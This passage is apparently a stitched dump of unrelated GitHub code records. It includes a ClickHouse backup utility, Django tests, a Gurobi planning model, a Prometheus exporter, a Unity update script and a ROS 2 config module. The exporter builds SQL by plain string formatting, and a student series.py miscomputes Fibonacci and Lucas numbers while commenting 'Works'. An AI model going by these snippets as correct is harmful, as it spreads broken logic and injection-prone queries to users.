([^`\\.]+) `?([^`\\.]+)`?\\.\\`?([^`\\.]+)\\`( uuid '[^']+')?\",\n r\"create \\1 \\2.\\3\",\n res,\n )\n res = re.sub(r\"\\s+\", \" \", res)\n res = re.sub(r\"\\( +\", \"(\", res)\n res = re.sub(r\" +\\)\", \")\", res)\n res = re.sub(r\" $\", \"\", res)\n return res\n\n return _normalize(schema_a) == _normalize(schema_b)\n\n\ndef format_size(value: int) -> str:\n \"\"\"\n Format a value in bytes to human-friendly representation.\n \"\"\"\n return humanfriendly.format_size(value, binary=True)\n\n\ndef escape_metadata_file_name(name: str) -> str:\n \"\"\"\n Escape object name to use for metadata file.\n Should be equal to https://github.com/ClickHouse/ClickHouse/blob/master/src/Common/escapeForFileName.cpp#L8\n \"\"\"\n result = bytearray(b\"\")\n name_b = name.encode(\"utf-8\")\n for c in name_b:\n if chr(c) in _ALLOWED_NAME_CHARS:\n result.append(c)\n else:\n result.extend(\n f\"%{_HEX_UPPERCASE_TABLE[int(c / 16)]}{_HEX_UPPERCASE_TABLE[c % 16]}\".encode(\n \"utf-8\"\n )\n )\n return result.decode(\"utf-8\")\n\n\ndef chunked(iterable: Iterable, n: int) -> Iterator[list]:\n \"\"\"\n Chunkify iterable into lists of length n. The last chunk may be shorter.\n\n Based on https://docs.python.org/3/library/itertools.html#itertools-recipes\n\n >>> list(chunked('ABCDEFG', 3))\n [['A', 'B', 'C'], ['D', 'E', 'F'], ['G']]\n \"\"\"\n if n < 1:\n raise ValueError(\"n must be at least one\")\n it = iter(iterable)\n while True:\n chunk = list(islice(it, n))\n if not chunk:\n break\n yield chunk\n\n\ndef read_by_chunks(file: BinaryIO, chunk_size: int) -> Iterator[bytes]:\n \"\"\"\n Read and yield file-like object by chunks.\n \"\"\"\n for chunk in iter(partial(file.read, chunk_size), b\"\"):\n yield chunk\n\n\ndef current_func_name() -> str:\n \"\"\"\n Return the current function name.\n\n Current function is a function calling func_name()\n \"\"\"\n return currentframe().f_back.f_code.co_name # type: ignore[union-attr]\n\n\ndef exhaust_iterator(iterator: Iterator) -> None:\n \"\"\"\n Read all elements from iterator until it stops.\n \"\"\"\n collections.deque(iterator, maxlen=0)\n\n\ndef dataclass_from_dict(type_: Type[T], data: dict) -> T:\n \"\"\"\n Create dataclass instance from dictionary.\n\n Function ignores extra keys and is not recursive.\n \"\"\"\n class_fields = {f.name for f in data_fields(type_)} # type: ignore[arg-type]\n return type_(**{k: v for k, v in data.items() if k in class_fields})\n\n\n# pylint: disable=invalid-name\nclass cached_property:\n \"\"\"\n Analogue for functools.cached_property.\n\n We could use cached_property from functools when the supported version of python would be >= 3.8.\n \"\"\"\n\n def __init__(self, func):\n self.func = func\n\n def __get__(self, obj, cls):\n if obj is None:\n return self\n value = obj.__dict__[self.func.__name__] = self.func(obj)\n return value\n","repo_name":"yandex/ch-backup","sub_path":"ch_backup/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":9896,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"35"} +{"seq_id":"35804403827","text":"import sys\nimport uninja\nimport logging\nimport datetime\n\nfrom uninja.codebase.c.source import Source, SourceLang\nfrom uninja.codebase.c.component import Component\nfrom uninja.codebase.c.executable import Executable\n\nfrom uninja.rule import Rule, Phony\nfrom uninja.target import Target, TargetVar, TargetVars\n\nfrom uninja.toolchain.base import Toolchain\nfrom uninja.toolchain.c.gcc import ToolchainGCC\n\nfrom uninja.utils import color_log\n\nfrom pathlib import Path\n\nfrom pprint import pprint\nfrom functools import reduce\n\ncolor_log.install(level=logging.INFO)\n\n######################################\n# Toolchain init.\n######################################\n\ngcc = ToolchainGCC(\n cflags = (\n \"-Wall\",\n \"-Werror\",\n \"-pedantic\"\n )\n)\n\ntools = Toolchain(root_dir=Path.cwd(), build_dir=Path(\"build\").resolve())\ngcc.associate_to(tools)\n\n\n######################################\n# Components definition\n######################################\n\nbar_component = Component(\n name = \"bar\",\n path = Path(\"src/bar\"),\n\n srcs = frozenset({\n Source(path = Path(\"bar.c\"), lang=SourceLang.C)\n })\n)\n\nfoo_component = Component(\n name = \"foo\",\n path = Path(\"src/foo\"),\n\n srcs = frozenset({\n Source(path = Path(\"foo.c\"), lang=SourceLang.C)\n }),\n\n components_dependencies = frozenset({bar_component})\n)\n\nmain_component = Component(\n name = \"main\",\n path = Path(\"src/main\"),\n\n srcs = frozenset({\n Source(path = Path(\"main.c\"), lang=SourceLang.C)\n }),\n\n components_dependencies = frozenset({\n foo_component,\n bar_component\n })\n)\n\nmain_app = Executable(\n \"bin/main\",\n\n components = frozenset({\n main_component\n })\n)\n\n\ntargets_gcc = tools.process(main_app)\n\n# Phony build target\ntargets_build = Target(\n name = \"build\",\n rule = Phony(),\n deps = targets_gcc\n)\n\ntools.build_dir.mkdir(exist_ok=True)\nwith open(f\"{tools.build_dir}/build.ninja\", \"w\") as fhandle:\n uninja.output(fhandle, (targets_build,))","repo_name":"fdmysterious/uninja","sub_path":"examples/gcc_toolchain_example/buildconf.py","file_name":"buildconf.py","file_ext":"py","file_size_in_byte":2094,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"73591255779","text":"import pytest\nfrom django.test import Client, TestCase\nfrom app.views import HomeView\n\n\nclass TestHomeView(TestCase):\n def test_home_get(self) -> None:\n \"\"\"Test if the url returns a correct 200 http status code.\n \"\"\"\n\n client: Client = Client()\n response = client.get(\"/\",)\n assert response.status_code == 200 # Testing redirection\n\n def test_legal_get(self) -> None:\n \"\"\"Test if the url returns a correct 200 http status code.\n \"\"\"\n\n client: Client = Client()\n response = client.get(\"/legal\",)\n assert response.status_code == 200 # Testing redirection\n","repo_name":"AngoGG/PurBeurre","sub_path":"app/tests/test_app_views.py","file_name":"test_app_views.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"103460860","text":"def fibonacci(n):\n i = 0\n while i <= 10:\n print(n)\n n += n\n print(n)\n i += 1\n\n\n# Works\n# fibonacci(10)\n\n\ndef lucas_numbers(n):\n i = 0\n while i <= 10:\n print(n)\n nn = n - 1\n print(nn)\n print(n + nn)\n i += 1\n\n\n# Works\n# lucasNumbers(10)\n\ndef sum_series(n, *x):\n option = input(\n \"Please insert number 1 for fibanocci series; or 0 for lucas numbers series.\")\n if option == '' or option == 1:\n fibonacci(n)\n else:\n lucas_numbers(n)\n\n\nsum_series(10)\n","repo_name":"UWPCE-PythonCert-ClassRepos/SP_Online_PY210","sub_path":"students/ABirgenheier/lesson02/series.py","file_name":"series.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"} +{"seq_id":"43637003142","text":"import gurobipy as gp\nfrom gurobipy import GRB\nimport numpy as np\nimport time\n\ninicio = time.time()\nIteraciones = 20\nobj_values = []\nfor h in range(Iteraciones):\n \n #Conjunto y notacion\n Periodos = range(3)\n S = 100\n Escenarios = range(S)\n Plantas = range(4)\n MU1 = 12\n SIGMA1 = 1.1547\n MU2 = 12\n SIGMA2 = 1.732\n MU3 = 15\n SIGMA3 = 2.8867\n Recursos = range(3)\n\n #Parametros\n Demanda = np.array([[3473,3473,3473],\n [20220, 20220, 20220],\n [53895, 53895, 53895],\n [48092, 48092, 48092]])\n\n Capacidad_produccion = {}\n for t in Periodos:\n for r in Recursos:\n for s in Escenarios:\n if r == 0:\n Capacidad_produccion[t,r,s] = max((np.random.normal(MU1, SIGMA1),0))\n elif r == 1: \n Capacidad_produccion[t,r,s] = max((np.random.normal(MU2, SIGMA2),0))\n else:\n Capacidad_produccion[t,r,s] = max((np.random.normal(MU3, SIGMA3),0))\n \n \n p = np.array([1.0/S]*S) \n Costo_Inventario = [1.1, 1.2, 0.8, 1.0]\n Costo_producir = [11, 12, 8, 10]\n Costo_recurso = [24000, 30000, 42000]\n\n #Declarar e iniciar modelo optimizacion\n m = gp.Model(\"Lot_sizing_tesis\")\n\n #Variables de decision\n I = m.addVars(Plantas, Periodos, Escenarios, vtype=GRB.INTEGER, name=\"Inventario\")\n X = m.addVars(Plantas, Periodos, Escenarios, name=\"Produccion\")\n W = m.addVars(Plantas, Recursos, Escenarios, vtype=GRB.INTEGER,name=\"Trabajadores\")\n\n #Funcion objetivo\n #Sentido modelo\n m.ModelSense = GRB.MINIMIZE\n #Costos independientes\n Costo_total_inventario = gp.quicksum(Costo_Inventario[j]*I[j,t,s]*p[s] for j in Plantas for t in Periodos for s in Escenarios )\n Costo_total_produccion = gp.quicksum(Costo_producir[j]*X[j,t,s]*p[s] for j in Plantas for t in Periodos for s in Escenarios )\n Costo_total_recursos = gp.quicksum(Costo_recurso[r]*W[j,r,s]*p[s] for j in Plantas for r in Recursos for s in Escenarios )\n #Costo total\n Costo_total = Costo_total_inventario + Costo_total_produccion + Costo_total_recursos \n #definir modelo\n m.setObjective(Costo_total)\n \n #Ecuaciones balanceo\n\n m.addConstrs((X[j,t,s] == Demanda[j,t] + I[j,t,s]) \n for j in Plantas for t in Periodos if t==0 for s in Escenarios )\n\n m.addConstrs((I[j,t-1,s] + X[j,t,s] == Demanda[j,t] + I[j,t,s] ) \n for j in Plantas for t in Periodos if t>=1 for s in Escenarios )\n\n #Restriccion set-up\n m.addConstrs((X[j,t,s]<= W[j,r,s]*Capacidad_produccion[t,r,s] ) \n for j in Plantas for t in Periodos for r in Recursos for s in Escenarios )\n\n #restricciones de no anticipacion\n m.addConstrs(W[j,r,s]==W[j,r,s-1] for j in Plantas for r in Recursos for s in Escenarios if s >= 1)\n \n m.setParam('MIPGap', 0.0)\n #optimizar\n m.optimize()\n #Guardar soluciones objetivo y actualizar\n obj_sample = m.objVal\n obj_values.append(obj_sample)\n\n# Valor esperado\nprint(f\"Valor esperado es: {np.mean(obj_values)}\")\nprint(f\"Desviación estandar es: {np.std(obj_values)}\")\nfin = time.time()\nt_total = fin-inicio \nprint(\"Tiempo total:\",t_total)\n","repo_name":"JeGr9797/SAA-for-CFLP-with-backlog-penalty-and-APP","sub_path":"APP 20-50 gurobi.py","file_name":"APP 20-50 gurobi.py","file_ext":"py","file_size_in_byte":3212,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"70868491622","text":"from django.shortcuts import render, redirect\nfrom django.views.generic import TemplateView\nfrom .models import guerreiros\nfrom .forms import FormCadastroGuerreiros\n\n\ndef lista(request):\n lista_guerreiros = guerreiros.objects.all()\n context = {'lista_guerreiros': lista_guerreiros}\n return render(request, 'cadastro/lista_guerreiros.html', context)\n\n\nclass adiciona(TemplateView):\n template_name = 'cadastro/adiciona.html'\n\n def get(self, request):\n form = FormCadastroGuerreiros()\n return render(request, self.template_name, {'form': form})\n\n def post(self, request):\n form = FormCadastroGuerreiros(request.POST)\n if form.is_valid():\n form.save()\n return redirect('home:home')\n args = {'form': form}\n return render(request, self.template_name, args)","repo_name":"djwesleyborges/farpa","sub_path":"cadastro_guerreiros/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"28362497310","text":"#!env/bin/python\n# -*- coding:utf-8 -*-\n# author: sunnywalden@gmail.com\n\nimport os\nimport sys\nimport datetime\n\nBASE_DIR = os.path.abspath(os.path.join(os.getcwd(), \".\"))\nsys.path.append(BASE_DIR)\n\nfrom utils.apollo_handler import ApolloQuery\nfrom utils.prome_query import prome_query\nfrom utils.mysql_handler import mysql_excute, mysql_conn\nfrom utils.get_configure import env_file_conf\n\n\nclass ServiceHealth(object):\n def __init__(self):\n self.api = '/api/v1/query?query='\n apollo_query = ApolloQuery()\n self.prome_host = apollo_query.apo_config(\"prome_host\")\n self.prome_sql = apollo_query.apo_config(\"prome_query\")\n\n def query_product(self):\n \"\"\"\n 查询所有产品线\n :return: list\n \"\"\"\n\n query_sql = '/api/v1/label/product/values'\n products_list = prome_query(query_sql)\n\n print('All products we have:{}'.format(','.join(products_list)))\n\n return products_list\n\n def query_env(self):\n \"\"\"\n 查询所有产品线\n :return: list\n \"\"\"\n\n env_type = env_file_conf('ENV_TYPE').upper() if env_file_conf('ENV_TYPE') else \"DEV\"\n\n return env_type\n\n def query_service(self, product=None):\n \"\"\"\n 查询产品线所有服务\n :param product: 产品名称\n :return: list\n \"\"\"\n\n query_sql = '/api/v1/label/service/values'\n services_list = prome_query(query_sql)\n\n sop_pre = 'PLATFORM-'\n vms_pre = 'itl-'\n\n if product.upper() == 'SOP':\n service_name_pre = sop_pre\n\n if product.upper() == 'VMS':\n service_name_pre = vms_pre\n else:\n service_name_pre = ''\n if product:\n services = list(filter(\n lambda service: service.startswith(service_name_pre), services_list\n ))\n else:\n services = list(filter(\n lambda service: not service.startswith(sop_pre) and not service.startswith(vms_pre), services_list\n ))\n print('Service of product {}:{}'.format(product, ','.join(services)))\n\n return services\n\n def service_availability(self, service, product=None, env_type='prod', static_interval='day'):\n \"\"\"\n 查询服务可用性\n :param product: 产品名称\n :param service: 服务名称\n :param env_type: 环境类型\n :return: float\n \"\"\"\n if static_interval == 'day':\n time_interval = '24h'\n time_offset = '1h'\n elif static_interval == 'week':\n time_interval = '7d'\n time_offset = '1d'\n else:\n time_interval = '30d'\n time_offset = '1d'\n query_sql = self.api + 'avg(avg_over_time(service_health_status{env_type=~\"' + \\\n env_type + \\\n '\",product=~\"' + product + \\\n '\",service=~\"' + service + \\\n '\"} [' + \\\n time_interval + '] offset ' + time_offset + '))'\n\n service_ava = prome_query(query_sql)\n\n print(\"Service {} of product {} in env {} avalibility:{}\".format(service, product, env_type, service_ava))\n\n return service_ava\n\n def sql_genarate(self, table, product, service, ava):\n env_type = self.query_env()\n yesterday = datetime.date.today() + datetime.timedelta(-1)\n sql = 'INSERT INTO %s values(%s, %s, %s, %s, %s)' % \\\n (table, product, env_type, service, yesterday, ava)\n\n return sql\n\n\nif __name__ == '__main__':\n\n env_type = env_file_conf('ENV_TYPE').upper() if env_file_conf('ENV_TYPE') else \"DEV\"\n external = env_file_conf('EXTERNAL')\n\n apollo_query = ApolloQuery()\n host_conf_name = 'mysql_host'\n if external.upper() != \"FALSE\":\n host_conf_name = 'mysql_external_host'\n\n db_host = apollo_query.apo_config(host_conf_name)\n db_port = apollo_query.apo_config('mysql_port')\n database = apollo_query.apo_config('mysql_db')\n table = apollo_query.apo_config('mysql_table')\n db_user = apollo_query.apo_config('mysql_user')\n db_passwd = apollo_query.apo_config('mysql_passwd')\n\n service_dict = {}\n service_health = ServiceHealth()\n all_product = service_health.query_product()\n\n conn = mysql_conn(db_host, db_port, database, db_user, db_passwd)\n\n for product in all_product:\n service_dict[product] = service_health.query_service(product=product)\n\n for product, service_list in service_dict.items():\n for service in service_list:\n service_ava = service_health.service_availability(product, service)\n\n print(\n 'Debug service {} of product {} availability of environment{}: {} '.format(\n product, env_type, service, env_type,\n service_ava))\n\n sql = service_health.sql_genarate(table, product, service, float('%.4f' % service_ava))\n mysql_excute(conn, sql)\n\n conn.close()\n","repo_name":"sunnywalden/prometheus_custom_exporter","sub_path":"main/service_healthcheck.py","file_name":"service_healthcheck.py","file_ext":"py","file_size_in_byte":5054,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"13588589478","text":"#!/usr/bin/python\r\n# -*- coding:utf-8 -*-import os\r\n\r\nimport os\r\nimport subprocess\r\n\r\nUNITY_PATH = \"\"\r\n\r\ndef getUnityPath():\r\n f = open(\"unityPath.txt\")\r\n r = f.read()\r\n f.close()\r\n return r\r\n\r\ndef updateSVN():\r\n # 没有外链库的Revert操作\r\n subprocess.check_call(\"svn update --accept=theirs-conflict\", shell=True)\r\n\r\ndef updateGit():\r\n subprocess.check_call(\"git fetch --all & git reset --hard & git pull\", shell=True)\r\n\r\ndef openUnity():\r\n subprocess.check_call(UNITY_PATH + ' -quit -projectPath ' + \"./Unity \", shell=True)\r\n\r\nif __name__ == \"__main__\":\r\n UNITY_PATH = getUnityPath()\r\n for line in open(\"project.txt\"):\r\n print(line)\r\n path = line.replace(\"\\n\", \"\")\r\n os.chdir(path)\r\n updateSVN()\r\n updateGit()\r\n openUnity()","repo_name":"gggg826/AutoUpdateProject","sub_path":"Auto/AutoUpdate.py","file_name":"AutoUpdate.py","file_ext":"py","file_size_in_byte":803,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"3312681970","text":"from abc import ABCMeta, abstractmethod\n\n\nclass ListActTemplate(metaclass=ABCMeta):\n def __init__(self, top, list_frame):\n self.frame = list_frame\n\n self.tree_list = self.frame.tree_list\n self.comment_elements = self.frame.comment_elements\n\n self.tree_list.tree.bind(\"<>\", self.load_comment)\n self.set_buttons(list_frame)\n self.top = top\n\n def load_comment(self, event):\n selected = event.widget.selection()\n if selected:\n item = selected[0]\n item_id = self.tree_list.tree.index(item)\n item_data = self.frame.data[item_id]\n add_datetime = item_data.save_date + \" \" + item_data.save_time\n edit_datetime = item_data.edit_date + \" \" + item_data.edit_time\n self.fill_comment_section(add_datetime, edit_datetime, item_data.comment)\n else:\n self.fill_comment_section('', '', '')\n\n def fill_comment_section(self, add_date, edit_date, comment):\n adding_date, modify_date, comment_label =\\\n self.comment_elements\n adding_date.config(text=add_date)\n modify_date.config(text=edit_date)\n comment_label.config(text=comment)\n\n @abstractmethod\n def set_buttons(self, frame):\n pass\n","repo_name":"m-woj/BSPR","sub_path":"app/head/acts/list/template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"} +{"seq_id":"73452612582","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='Comment',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, verbose_name='ID', auto_created=True)),\n ('comment_body', models.CharField(max_length=1000)),\n ('comment_date', models.DateTimeField(verbose_name='date published')),\n ],\n ),\n migrations.CreateModel(\n name='Post',\n fields=[\n ('id', models.AutoField(serialize=False, primary_key=True, verbose_name='ID', auto_created=True)),\n ('post_title', models.CharField(max_length=200)),\n ('post_body', models.CharField(max_length=100000)),\n ],\n ),\n migrations.AddField(\n model_name='comment',\n name='post',\n field=models.ForeignKey(to='blog.Post'),\n ),\n ]\n","repo_name":"gyrogrid/sidsingh","sub_path":"blog/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"14456547687","text":"# Задание\n# В проекте Yatube напишите тесты,\n# которые проверяют, что\n# при отправке валидной формы со\n# страницы создания поста\n# reverse('posts:create_post') создаётся новая\n# запись в базе данных;\n\n# при отправке валидной формы со\n# страницы редактирования поста\n# reverse('posts:post_edit', args=('post_id',))\n# происходит изменение поста с post_id в\n# базе данных.\n# Это задание будет проверено в конце спринта\n# вместе с домашней работой\nfrom posts.forms import PostForm\nfrom posts.models import Post, Group, User\nfrom django.test import Client, TestCase\nfrom django.urls import reverse\nfrom django.contrib.auth import get_user_model\n\nUser = get_user_model()\n\n\nclass PostFormTests(TestCase):\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n # Создаем запись в базе данных для\n # проверки сушествующего slug\n cls.user = User.objects.create_user(username='auth')\n cls.group = Group.objects.create(\n title='Тестовая группа',\n slug='test-slug1',\n description='test-slug2',\n )\n cls.post = Post.objects.create(\n author=cls.user,\n text='Тестовый пост',\n group=cls.group\n )\n # Создаем форму, если нужна проверка атрибутов\n cls.form = PostForm()\n\n def setUp(self):\n # Создаем клиент\n self.author_client = Client()\n self.author_client.force_login(self.post.author)\n\n def test_create_post(self):\n \"\"\"Валидная форма создает запись в Пост.\"\"\"\n posts_count = Post.objects.all().count()\n form_data = {\n 'group': self.group.id,\n 'author': self.user.id,\n 'text': 'Тест текст',\n }\n\n response = self.author_client.post(\n reverse('posts:post_create'),\n data=form_data,\n )\n self.assertRedirects(\n response, reverse(\n 'posts:profile', kwargs={'username': self.post.author}\n )\n )\n self.assertEqual(Post.objects.count(), posts_count + 1)\n self.assertTrue(\n Post.objects.filter(\n text='Тест текст',\n author=self.user.id,\n group=self.group.id,\n ).exists()\n )\n self.assertEqual(response.status_code, 302)\n\n def test_edit_post(self):\n \"\"\"Валидная форма редактирует запись в Пост.\"\"\"\n posts_count = Post.objects.all().count()\n form_data = {\n 'group': self.group.id,\n 'author': self.user.id,\n 'text': 'Тест текс1т',\n }\n\n response = self.author_client.post(\n reverse('posts:post_edit', args=(f'{self.post.pk}',)),\n data=form_data,\n follow=True\n )\n self.assertEqual(Post.objects.count(), posts_count)\n self.assertTrue(\n Post.objects.filter(\n text='Тест текс1т',\n author=self.user.id,\n group=self.group.id,\n ).exists()\n )\n self.assertEqual(response.status_code, 200)\n","repo_name":"quickest5/hw03_forms","sub_path":"yatube/posts/tests/test_forms.py","file_name":"test_forms.py","file_ext":"py","file_size_in_byte":3573,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"35442327106","text":"import argparse\nfrom itertools import combinations_with_replacement\nimport os\nimport sys\nimport pandas as pd\nimport yaml\nimport xml.etree.ElementTree as et\n\nfrom .qos import DURABILITY, HISTORY, RELIABILITY\nfrom .transport import TRANSPORT\nfrom rclpy.utilities import get_rmw_implementation_identifier\n\n\nclass ExperimentConfig:\n def __init__(\n self,\n com_mean: str = \"rclcpp-single-threaded-executor\",\n transport: TRANSPORT = TRANSPORT.INTRA,\n msg: str = \"Array1k\",\n pubs: int = 1,\n subs: int = 1,\n rate: int = 100,\n reliability: RELIABILITY = RELIABILITY.RELIABLE,\n durability: DURABILITY = DURABILITY.VOLATILE,\n history: HISTORY = HISTORY.KEEP_LAST,\n history_depth: int = 16,\n rt_prio: int = 0,\n rt_cpus: int = 0,\n max_runtime: int = 30,\n ignore_seconds: int = 5,\n ) -> None:\n self.com_mean = str(com_mean)\n self.transport = TRANSPORT(transport)\n self.msg = str(msg)\n self.pubs = int(pubs)\n self.subs = int(subs)\n self.rate = int(rate)\n self.reliability = RELIABILITY(reliability)\n self.durability = DURABILITY(durability)\n self.history = HISTORY(history)\n self.history_depth = int(history_depth)\n self.rt_prio = rt_prio\n self.rt_cpus = rt_cpus\n self.max_runtime = max_runtime\n self.ignore_seconds = ignore_seconds\n\n def __eq__(self, o: object) -> bool:\n same = True\n same = same and self.com_mean == o.com_mean\n same = same and self.transport == o.transport\n same = same and self.msg == o.msg\n same = same and self.pubs == o.pubs\n same = same and self.subs == o.subs\n same = same and self.rate == o.rate\n same = same and self.reliability == o.reliability\n same = same and self.durability == o.durability\n same = same and self.history == o.history\n same = same and self.history_depth == o.history_depth\n same = same and self.rt_prio == o.rt_prio\n same = same and self.rt_cpus == o.rt_cpus\n same = same and self.max_runtime == o.max_runtime\n same = same and self.ignore_seconds == o.ignore_seconds\n return same\n\n def log_file_name(self) -> str:\n if self.transport == TRANSPORT.INTRA:\n return self.log_file_name_intra()\n else:\n return self.log_file_name_sub()\n\n def write_log_file_name(self, com_mean_suffix: str) -> str:\n params = [\n self.com_mean,\n str(self.transport) + com_mean_suffix,\n self.msg,\n self.pubs,\n self.subs,\n self.rate,\n self.reliability,\n self.durability,\n self.history,\n self.history_depth,\n self.rt_prio,\n self.rt_cpus,\n ]\n str_params = map(str, params)\n return \"_\".join(str_params) + \".json\"\n\n def log_file_name_intra(self) -> str:\n return self.write_log_file_name(com_mean_suffix='')\n\n def log_file_name_pub(self) -> str:\n return self.write_log_file_name(com_mean_suffix='-pub')\n\n def log_file_name_sub(self) -> str:\n return self.write_log_file_name(com_mean_suffix='-sub')\n\n def as_dataframe(self) -> pd.DataFrame:\n return pd.DataFrame({\n 'com_mean': self.com_mean,\n 'transport': self.transport,\n 'msg': self.msg,\n 'pubs': self.pubs,\n 'subs': self.subs,\n 'rate': self.rate,\n 'reliability': self.reliability,\n 'durability': self.durability,\n 'history': self.history,\n 'history_depth': self.history_depth,\n 'rt_prio': self.rt_prio,\n 'rt_cpus': self.rt_cpus,\n 'max_runtime': self.max_runtime,\n 'ignore_seconds': self.ignore_seconds,\n }, index=[0])\n\n def get_members(self) -> list:\n members = []\n for attribute in dir(self):\n if not callable(getattr(self, attribute)) \\\n and not attribute.startswith('__'):\n members.append(attribute)\n return members\n\n def cli_commands(self, perf_test_exe_cmd, output_dir) -> list:\n args = self.cli_args(output_dir)\n commands = []\n if len(args) == 1:\n commands.append(perf_test_exe_cmd + args[0])\n elif len(args) == 2:\n sub_args, pub_args = args\n\n if self.transport == TRANSPORT.ZERO_COPY or self.transport == TRANSPORT.SHMEM:\n if is_ros2_plugin(self.com_mean):\n if get_rmw_implementation_identifier() == \"rmw_apex_middleware\":\n commands = generate_commands_apex_middleware(output_dir, perf_test_exe_cmd, sub_args, pub_args)\n elif get_rmw_implementation_identifier() == \"rmw_cyclonedds_cpp\":\n commands = generate_commands_cycloneDDS(output_dir, perf_test_exe_cmd, sub_args, pub_args)\n elif get_rmw_implementation_identifier() == \"rmw_fastrtps_cpp\":\n commands = generate_commands_fastdds(output_dir, perf_test_exe_cmd, sub_args, pub_args)\n else:\n print(\"Unsupported Middleware: \", get_rmw_implementation_identifier())\n elif self.com_mean == \"CycloneDDS\" or self.com_mean == \"CycloneDDS-CXX\":\n commands = generate_commands_cycloneDDS(output_dir, perf_test_exe_cmd, sub_args, pub_args)\n else:\n print(\"Unsupported com_mean: \", self.com_mean)\n else:\n raise RuntimeError('Unreachable code')\n return commands\n\n def cli_args(self, output_dir) -> list:\n args = \"\"\n args += f\" -c {self.com_mean}\"\n args += f\" -m {self.msg}\"\n args += f\" -r {self.rate}\"\n if self.reliability == RELIABILITY.RELIABLE:\n args += \" --reliable\"\n if self.durability == DURABILITY.TRANSIENT_LOCAL:\n args += \" --transient\"\n if self.history == HISTORY.KEEP_LAST:\n args += \" --keep-last\"\n args += f\" --history-depth {self.history_depth}\"\n args += f\" --use-rt-prio {self.rt_prio}\"\n args += f\" --use-rt-cpus {self.rt_cpus}\"\n args += f\" --max-runtime {self.max_runtime}\"\n args += f\" --ignore {self.ignore_seconds}\"\n if self.transport == TRANSPORT.INTRA:\n args += f\" -p {self.pubs} -s {self.subs} -o json\"\n args += f\" --json-logfile {os.path.join(output_dir, self.log_file_name_intra())}\"\n return [args]\n else:\n args_sub = args + f\" -p 0 -s {self.subs} --expected-num-pubs {self.pubs} -o json\"\n args_sub += f\" --json-logfile {os.path.join(output_dir, self.log_file_name_sub())}\"\n args_pub = args + f\" -s 0 -p {self.pubs} --expected-num-subs {self.subs} -o json\"\n args_pub += f\" --json-logfile {os.path.join(output_dir, self.log_file_name_pub())}\"\n if self.transport == TRANSPORT.ZERO_COPY:\n args_sub += \" --zero-copy\"\n args_pub += \" --zero-copy\"\n return [args_sub, args_pub]\n\n\nclass LineConfig:\n def __init__(\n self,\n style: str = 'solid',\n width: int = 2,\n alpha: float = 1.0\n ) -> None:\n self.style = style\n self.width = width\n self.alpha = alpha\n\n\nclass MarkerConfig:\n def __init__(\n self,\n shape: str = 'dot',\n size: int = 25,\n alpha: float = 1.0\n ) -> None:\n self.shape = str(shape)\n self.size = size\n self.alpha = alpha\n\n\nclass ThemeConfig:\n def __init__(\n self,\n color: str = '#0000ff',\n marker: MarkerConfig = MarkerConfig(),\n line: LineConfig = LineConfig(),\n ) -> None:\n self.color = str(color)\n self.marker = marker\n self.line = line\n\n\nclass DatasetConfig:\n def __init__(\n self,\n name: str = 'default_dataset',\n theme: ThemeConfig = ThemeConfig(),\n experiments: [ExperimentConfig] = [ExperimentConfig()],\n headers: [(str, dict)] = ['default_experiment', {}],\n dataframe: pd.DataFrame = pd.DataFrame(),\n ) -> None:\n self.name = name\n self.theme = theme\n self.experiments = experiments\n self.headers = headers\n self.dataframe = dataframe\n\n\nclass FileContents:\n def __init__(self, header: dict, dataframe: pd.DataFrame) -> None:\n self.header = header\n self.dataframe = dataframe\n\n\nDEFAULT_TEST_NAME = 'experiments'\n\n\nclass PerfArgParser(argparse.ArgumentParser):\n\n def init_args(self):\n self.add_argument(\n \"--log-dir\",\n \"-l\",\n default='.',\n help=\"The directory for the perf_test log files and plot images\",\n )\n self.add_argument(\n \"--test-name\",\n \"-t\",\n default=DEFAULT_TEST_NAME,\n help=\"Name of the experiment set to help give context to the test results\",\n )\n self.add_argument(\n \"--configs\",\n \"-c\",\n default=[],\n nargs=\"+\",\n help=\"The configuration yaml file(s)\",\n )\n self.add_argument(\n \"--perf-test-exe\",\n default='ros2 run performance_test perf_test',\n help=\"The command to run the perf_test executable\",\n )\n self.add_argument(\n \"--force\",\n \"-f\",\n action=\"store_true\",\n help=\"Force existing results to be overwritten (by default, they are skipped).\",\n )\n\n if len(sys.argv) == 1:\n print('[ERROR][ %s ] No arguments given\\n' % self.prog)\n self.print_help()\n sys.exit(2)\n elif (sys.argv[1] == '-h' or sys.argv[1] == '--help'):\n self.print_help()\n sys.exit(0)\n\n def error(self, msg):\n print('[ERROR][ %s ] %s\\n' % (self.prog, msg))\n self.print_help()\n sys.exit(2)\n\n def exit(self, msg):\n print('EXIT')\n\n\nclass cliColors:\n ESCAPE = '\\033'\n GREEN = ESCAPE + '[92m'\n WARN = ESCAPE + '[93m'\n ERROR = ESCAPE + '[91m'\n ENDCOLOR = ESCAPE + '[0m'\n\n\ndef colorString(raw_string, color_type) -> str:\n return color_type + raw_string + 